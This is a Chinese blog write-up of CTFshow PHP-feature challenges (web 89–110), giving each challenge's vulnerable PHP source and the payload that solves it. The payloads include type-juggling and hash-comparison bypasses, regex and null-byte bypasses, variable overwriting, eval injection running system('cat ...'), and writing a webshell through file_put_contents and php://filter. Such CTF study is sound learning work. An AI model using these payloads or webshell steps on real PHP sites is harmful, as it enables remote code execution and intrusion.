[CTFSHOW]PHP特性
发布日期:2021-05-08 11:14:19 浏览次数:10 分类:精选文章

本文共 8610 字,大约阅读时间需要 28 分钟。

web 89

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){       $num = $_GET['num'];    if(preg_match("/[0-9]/", $num)){           die("no no no!");    }    if(intval($num)){           echo $flag;    }}

利用数组绕过:/?num[]=0

web 90

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){       $num = $_GET['num'];    if($num==="4476"){           die("no no no!");    }    if(intval($num,0)===4476){           echo $flag;    }else{           echo intval($num,0);    }}

intval()函数用来获取整数值,当参数base为0的时候,遇到字母就会停止

在这里插入图片描述
php的弱类型/?num=4476a

web 91

show_source(__FILE__);include('flag.php');$a=$_GET['cmd'];if(preg_match('/^php$/im', $a)){       if(preg_match('/^php$/i', $a)){           echo 'hacker';    }    else{           echo $flag;    }}else{       echo 'nonononono';}

观察正则表达式

  • 第一个:'/^php$/im',$匹配输入字符串的结尾位置,匹配php且后面的修饰符有个m,表示多行匹配
    在这里插入图片描述
  • 第二个:'/^php$/i'相比下没有了多行匹配

所以对于这题可以使用换行绕过,

可以在hackbar里面url编码换行符,编码完是%0a
payload:cmd=a%0aphp

web 92

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){       $num = $_GET['num'];    if($num==4476){           die("no no no!");    }    if(intval($num,0)==4476){           echo $flag;    }else{           echo intval($num,0);    }}

这题不能像上面一样在后面加字母就绕过了

php有个特殊的字母:e,可以表示科学计数法
但是当intval()读取到e的时候就会停止
payload:?num=4476e123

web 93

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){       $num = $_GET['num'];    if($num==4476){           die("no no no!");    }    if(preg_match("/[a-z]/i", $num)){           die("no no no!");    }    if(intval($num,0)==4476){           echo $flag;    }else{           echo intval($num,0);    }}

把字母给过滤掉了

因为intval()函数第二个参数为0,会自动识别进制数,所以我们可以换一个进制,16进制会出现字母,所以用8进制,记得前面加个0,表示八进制
在这里插入图片描述
payload:?num=010574

web 94

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){       $num = $_GET['num'];    if($num==="4476"){           die("no no no!");    }    if(preg_match("/[a-z]/i", $num)){           die("no no no!");    }    if(!strpos($num, "0")){           die("no no no!");    }    if(intval($num,0)===4476){           echo $flag;    }}

八进制用不了了strpos($num, "0"),识别到第一个就是0的话就直接die了

在这里插入图片描述
还可以用小数点.来绕过
通过intval()函数就可以把浮点数类型变为int类型
payload:?num=4476.0

web 95

include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){       $num = $_GET['num'];    if($num==4476){           die("no no no!");    }    if(preg_match("/[a-z]|\./i", $num)){           die("no no no!!");    }    if(!strpos($num, "0")){           die("no no no!!!");    }    if(intval($num,0)===4476){           echo $flag;    }}

又把.给过滤了,可以在八进制前面加上+,让0不在第一个就行

payload:num=+010574

web 96

highlight_file(__FILE__);if(isset($_GET['u'])){       if($_GET['u']=='flag.php'){           die("no no no");    }else{           highlight_file($_GET['u']);    }}

不能出现"flag.php"这个字符串,那就用./表示当前目录,

payload:?u=./flag.php

web 97

include("flag.php");highlight_file(__FILE__);if (isset($_POST['a']) and isset($_POST['b'])) {   if ($_POST['a'] != $_POST['b'])if (md5($_POST['a']) === md5($_POST['b']))echo $flag;elseprint 'Wrong.';}

===三等号md5比较

数组绕过:a[]=1&b[]=2

web 98

include("flag.php");$_GET?$_GET=&$_POST:'flag';$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>

一开始看到很懵逼,仔细看了一下发现是三元运算符配合引用传递(&)

这句话的意思就是GET方法提交了东西,就会转成POST方法提交

$_GET?$_GET=&$_POST:'flag';

这里我们需要让flag文件高亮,就要get提交一个HTTP_FLAG

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

所以我们需要get一个HTTP_FLAG再post一个HTTP_FLAG

web 99

考察in_array()函数的漏洞

highlight_file(__FILE__);$allow = array();for ($i=36; $i < 0x36d; $i++) {        array_push($allow, rand(1,$i));}if(isset($_GET['n']) && in_array($_GET['n'], $allow)){       file_put_contents($_GET['n'], $_POST['content']);}

涉及的函数:

  • array_push(),向尾部插入元素

    在这里插入图片描述

  • file_put_contents()

    在这里插入图片描述

  • in_array(),漏洞出现的函数,第三个参数没有设置的时候,就可以形成自动转换:n=1.php自动转换为1

    在这里插入图片描述

所以用file_put_contents把一句话木马写入1.php中,再连接蚁剑得到flag

web 100

highlight_file(__FILE__);include("ctfshow.php");//flag in class ctfshow;$ctfshow = new ctfshow();$v1=$_GET['v1'];$v2=$_GET['v2'];$v3=$_GET['v3'];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){       if(!preg_match("/\;/", $v2)){           if(preg_match("/\;/", $v3)){               eval("$v2('ctfshow')$v3");        }    }    }

可以发现,只要第一位是1,最后的值就是1

在这里插入图片描述
提示说flag在ctfshow类里面,前面也实例化了一个对象,赋值给了$ctfshow,所以我们就要var_dump来打印这个对象就可以了
但是中间被"ctfshow"截断了

  • 考虑把他给注释掉/**/
    payload:v1=1&v2=var_dump($ctfshow)/*&v3=*/;
  • 利用起这个ctfshow来,使用new ReflectionClass("类名"),获得这个类的信息
    在这里插入图片描述
    payload:v1=1&v2=echo new ReflectionClass&v3=;

得到flag要把0x2d换成-

web 101

没有过滤空格,用第二种方法反射类

得到flag也是换0x2d,但是不对,发现flag少了一位,直接拿bp爆破提交flag

web 102

还是is_numeric()函数的漏洞,在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x66也是可以识别为数字的,但是这题是php7,不能使用这个漏洞

涉及一个函数hex2bin(),把16进制转换成ascii字符

在这里插入图片描述
这个函数反过来就是bin2hex()就是把字符串转换成16进制

这个题目用的是base64编码一句话木马后再用bin2hex转为16进制,绕过is_numeric()函数后,再用hex2bin转换成base64,再用filter协议把base64解码写入PHP文件里

用php写一个小脚本:

这个命令

往后面加空格可以删去等号,这样16进制出来就没有其他的字母

这个刚好得到5044383959474e686443417159447367,只有一个e,而会被识别成科学计数法,还是数字

v3的值使用php协议,把内容base64解码再写入

v3=php://filter/write=convert.base64-decode/resource=1.php

paylaod:记得前加两个数字绕过substr

v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php
v1=hex2bin

web 103

highlight_file(__FILE__);$v1 = $_POST['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];$v4 = is_numeric($v2) and is_numeric($v3);if($v4){       $s = substr($v2,2);    $str = call_user_func($v1,$s);    echo $str;    if(!preg_match("/.*p.*h.*p.*/i",$str)){           file_put_contents($v3,$str);    }    else{           die('Sorry');    }}else{       die('hacker');}?>

还是16进制来转换字符串

payload和上题一样

web 104

highlight_file(__FILE__);include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){       $v1 = $_POST['v1'];    $v2 = $_GET['v2'];    if(sha1($v1)==sha1($v2)){           echo $flag;    }}?>

之前遇到有md5绕过,sha碰撞绕过就是用数组

GET?v2[]=1POSTv1[]=1

解2:

除了数组绕过,也可以0e开头

aaK1STfY0e76658526655756207688271159624026011393aaO8zKZF0e89257456677279068558073954252716165668

web 105

变量覆盖

highlight_file(__FILE__);include('flag.php');error_reporting(0);$error='你还想要flag嘛?';$suces='既然你想要那给你吧!';foreach($_GET as $key => $value){       if($key==='error'){           die("what are you doing?!");    }    $$key=$$value;}foreach($_POST as $key => $value){       if($value==='flag'){           die("what are you doing?!");    }    $$key=$$value;}if(!($_POST['flag']==$flag)){       die($error);}echo "your are good".$flag."\n";die($suces);?>

好久没写变量覆盖的题目了

关键操作在$$key=$$value;
一个层的我们get一个/?suces=flag
这样就构造了:$suces=$flag,把suces原值覆盖

第二层我们POST一个error=suces

构造了$error=$suces=$flag
这样就打印出了$flag

web 106

还是sha碰撞

highlight_file(__FILE__);include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){       $v1 = $_POST['v1'];    $v2 = $_GET['v2'];    if(sha1($v1)==sha1($v2) && $v1!=$v2){           echo $flag;    }}?>

payload:GET:?v2[]=1 POST:v1[]=2

web 107

highlight_file(__FILE__);error_reporting(0);include("flag.php");if(isset($_POST['v1'])){       $v1 = $_POST['v1'];    $v3 = $_GET['v3'];       parse_str($v1,$v2);       if($v2['flag']==md5($v3)){              echo $flag;       }}?>

涉及函数parse_str()

会把字符串的内容识别后存到后面的变量里面
在这里插入图片描述
在这里插入图片描述

web 108

highlight_file(__FILE__);error_reporting(0);include("flag.php");if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {       die('error');}//只有36d的人才能看到flagif(intval(strrev($_GET['c']))==0x36d){       echo $flag;}?>

36d十六进制转换出来是877

在这里插入图片描述
strrev()这个函数是让字符串倒转

ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE的意思是:必须是提交一个字符

ereg()函数存在NULL截断漏洞,可以用%00来截断正则匹配,绕过这个正则

payload:

?c=a%00778

web 109

异常处理类

highlight_file(__FILE__);error_reporting(0);if(isset($_GET['v1']) && isset($_GET['v2'])){       $v1 = $_GET['v1'];    $v2 = $_GET['v2'];    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){               eval("echo new $v1($v2());");    }}?>

涉及到的操作是:

  • 异常处理类
    Exception
  • 反射类
    Reflectionclass
    在这里插入图片描述

异常处理解法:

payload:v1=Exception&v2=system('ls')得到目录
在这里插入图片描述
payload:v1=Exception&v2=system('cat fl36dg.txt')

反射类解法:

payload:v1=Reflectionclass&v2=system('cat fl36dg.txt')

web 110

highlight_file(__FILE__);error_reporting(0);if(isset($_GET['v1']) && isset($_GET['v2'])){       $v1 = $_GET['v1'];    $v2 = $_GET['v2'];    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){               die("error v1");    }    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){               die("error v2");    }    eval("echo new $v1($v2());");}

考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件

getcwd()函数 获取当前工作目录 返回当前工作目录

payload: ?v1=FilesystemIterator&v2=getcwd

参考文章

http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php

上一篇:[UCTF 2021]wp
下一篇:JAVA学习笔记2(数组,方法,重载)

发表评论

最新留言

表示我来过!
[***.240.166.169]2025年03月24日 00时21分46秒